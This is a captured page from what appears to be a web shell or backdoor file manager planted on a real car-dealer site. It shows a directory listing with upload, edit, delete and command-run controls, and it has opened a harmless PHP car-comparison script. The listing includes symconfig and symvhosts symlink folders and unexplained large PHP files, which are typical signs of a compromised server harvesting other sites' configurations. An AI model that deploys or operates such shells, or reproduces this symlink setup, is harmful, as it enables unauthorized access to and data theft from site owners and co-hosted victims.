/
var
/
www
/
vhosts
/
m-auto.co
/
httpdocs
/
ajax
/
/var/www/vhosts/m-auto.co/httpdocs/ajax
mkdir
upload
Name
Size
Mode
Actions
symconfig/
-
0755
rm
symvhosts/
-
0755
rm
compare_handler.php
2214
0644
edit
dl
rm
php.ini
62
0644
edit
dl
rm
sim.php
9773
0644
edit
dl
rm
t.php
6038462
0644
edit
dl
rm
Edit:
/var/www/vhosts/m-auto.co/httpdocs/ajax/compare_handler.php
(2214B)
<?php session_start(); header('Content-Type: application/json'); // Initialize comparison list if not exists if (!isset($_SESSION['compare_cars'])) { $_SESSION['compare_cars'] = []; } $response = ['success' => false, 'message' => '', 'count' => 0]; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; $car_id = (int)($_POST['car_id'] ?? 0); switch ($action) { case 'add': if (count($_SESSION['compare_cars']) >= 5) { $response['message'] = 'لا يمكن إضافة أكثر من 5 سيارات للمقارنة'; } elseif (in_array($car_id, $_SESSION['compare_cars'])) { $response['message'] = 'السيارة موجودة بالفعل في قائمة المقارنة'; } else { $_SESSION['compare_cars'][] = $car_id; $response['success'] = true; $response['message'] = 'تم إضافة السيارة للمقارنة بنجاح'; } break; case 'remove': $_SESSION['compare_cars'] = array_filter($_SESSION['compare_cars'], function($id) use ($car_id) { return $id != $car_id; }); $_SESSION['compare_cars'] = array_values($_SESSION['compare_cars']); $response['success'] = true; $response['message'] = 'تم إزالة السيارة من المقارنة'; break; case 'clear': $_SESSION['compare_cars'] = []; $response['success'] = true; $response['message'] = 'تم مسح جميع السيارات من المقارنة'; break; case 'get_count': $response['success'] = true; $response['message'] = 'تم جلب العدد بنجاح'; break; default: $response['message'] = 'إجراء غير صحيح'; } $response['count'] = count($_SESSION['compare_cars']); $response['cars'] = $_SESSION['compare_cars']; } echo json_encode($response, JSON_UNESCAPED_UNICODE); ?>
Save
cmd:
run